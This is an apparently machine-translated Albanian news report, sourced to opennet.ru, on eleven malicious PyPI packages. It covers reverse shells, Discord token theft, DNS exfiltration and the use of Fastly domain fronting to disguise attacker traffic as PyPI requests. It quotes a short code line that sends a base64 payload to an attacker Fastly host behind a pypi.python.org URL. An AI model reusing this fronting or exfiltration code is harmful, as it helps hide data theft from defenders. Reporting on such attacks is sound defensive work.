Bibliotekat me qëllim të keq janë identifikuar në katalogun PyPI që përdorin PyPI CDN për të fshehur kanalin e komunikimit

Në direktorinë PyPI (Python Package Index), u identifikuan 11 paketa që përmbajnë kod me qëllim të keq. Para se të identifikoheshin problemet, paketat ishin shkarkuar rreth 38 mijë herë në total. Paketat me qëllim të keq të zbuluar janë të dukshme për përdorimin e metodave të sofistikuara për të fshehur kanalet e komunikimit me serverët e sulmuesve.

  • importantpackage (6305 shkarkime), important-package (12897) - krijoi një lidhje me një server të jashtëm nën maskën e lidhjes me pypi.python.org për të siguruar qasje shell në sistem (predha e kundërt) dhe përdori programin trevorc2 për të fshehur kanal komunikimi.
  • pptest (10001), ipboards (946) - përdori DNS si një kanal komunikimi për të transmetuar informacione rreth sistemit (në paketën e parë emri i hostit, drejtoria e punës, IP e brendshme dhe e jashtme, në të dytën - emri i përdoruesit dhe emri i hostit) .
  • owlmoon (3285), DiscordSafety (557), yiffparty (1859) - identifikoi shenjën e shërbimit Discord në sistem dhe e dërgoi atë te një host i jashtëm.
  • trrfab (287) - dërgoi identifikuesin, emrin e hostit dhe përmbajtjen e /etc/passwd, /etc/hosts, /home te hosti i jashtëm.
  • 10Cent10 (490) - vendosi një lidhje të kundërt të guaskës me një host të jashtëm.
  • yandex-yt (4183) - shfaqi një mesazh në lidhje me sistemin duke u komprometuar dhe ridrejtuar në një faqe me informacion shtesë rreth veprimeve të mëtejshme të lëshuara përmes nda.ya.ru (api.ya.cc).

Vëmendje e veçantë është metoda e aksesimit të hosteve të jashtëm të përdorur në paketat e rëndësishme dhe paketat e rëndësishme, të cilat përdorën rrjetin e shpërndarjes së përmbajtjes Fastly të përdorur në direktorinë PyPI për të fshehur aktivitetin e tyre. Në fakt, kërkesat iu dërguan serverit pypi.python.org (përfshirë specifikimin e emrit python.org në SNI brenda kërkesës HTTPS), por titulli "Host" i HTTP përfshinte emrin e serverit të kontrolluar nga sulmuesit (sek. përpara.io. global.prod.fastly.net). Rrjeti i shpërndarjes së përmbajtjes dërgoi një kërkesë të ngjashme te serveri sulmues, duke përdorur parametrat e lidhjes TLS me pypi.python.org kur transmeton të dhëna.

Infrastruktura PyPI mundësohet nga rrjeti i shpërndarjes së përmbajtjes Fastly, i cili përdor përfaqësuesin transparent të Varnish për të memorizuar kërkesat tipike, dhe gjithashtu përdor përpunimin e certifikatës TLS në nivelin CDN, në vend të serverëve fundorë, për të përcjellë kërkesat HTTPS përmes një përfaqësuesi. Pavarësisht nga hosti i synuar, kërkesat i dërgohen përfaqësuesit, i cili përcakton hostin e dëshiruar duke përdorur titullin "Host" HTTP dhe emrat e domenit të hostit janë të lidhur me adresat IP të balancuesit të ngarkesës CDN që janë tipike për të gjithë klientët Fastly.

Serveri i sulmuesve gjithashtu regjistrohet me CDN Fastly, i cili ofron plane falas për të gjithë dhe madje lejon regjistrimin anonim. Vlen të përmendet se për t'i dërguar kërkesa viktimës kur krijoni një "guaskë të kundërt", përdoret gjithashtu një skemë, por e iniciuar nga ana e hostit të sulmuesit. Nga jashtë, ndërveprimi me serverin e sulmuesve duket si një seancë legjitime me direktoriumin PyPI, i koduar duke përdorur një certifikatë PyPI TLS. Një teknikë e ngjashme, e njohur si "përfaqja e domenit", është përdorur më parë në mënyrë aktive për të fshehur emrin e hostit kur anashkalonte bllokimin, duke përdorur aftësinë e ofruar në disa rrjete CDN për të hyrë në HTTPS duke treguar një host fiktiv në SNI dhe duke transmetuar në fakt emrin e hosti i kërkuar në kokën e hostit HTTP brenda një sesioni TLS.

Bibliotekat me qëllim të keq janë identifikuar në katalogun PyPI që përdorin PyPI CDN për të fshehur kanalin e komunikimit

Për të fshehur aktivitetin me qëllim të keq, paketa TrevorC2 u përdor gjithashtu për të bërë ndërveprim me serverin të ngjashëm me navigimin e rregullt në ueb, për shembull, kërkesat me qëllim të keq u dërguan nën maskën e shkarkimit të imazhit "https://pypi.python.org/images/ guid=” me kodim informacioni në parametrin udhëzues. url = "https://pypi.python.org" + "/images" + "?" + "guid=" + b64_payload r = request.Request(url, headers = {'Host': "psec.forward.io.global.prod.fastly.net"})

Paketat pptest dhe ipboards përdorën një qasje të ndryshme për të fshehur aktivitetin e rrjetit, bazuar në kodimin e informacionit të dobishëm në pyetje në serverin DNS. Malware transmeton informacion duke kryer kërkesa DNS si "nu4timjagq4fimbuhe.example.com", në të cilën të dhënat e transmetuara në serverin e kontrollit kodohen duke përdorur formatin base64 në emrin e nëndomainit. Sulmuesi i merr këto mesazhe duke kontrolluar serverin DNS për domenin shembull.com.

Burimi: opennet.ru

Shto një koment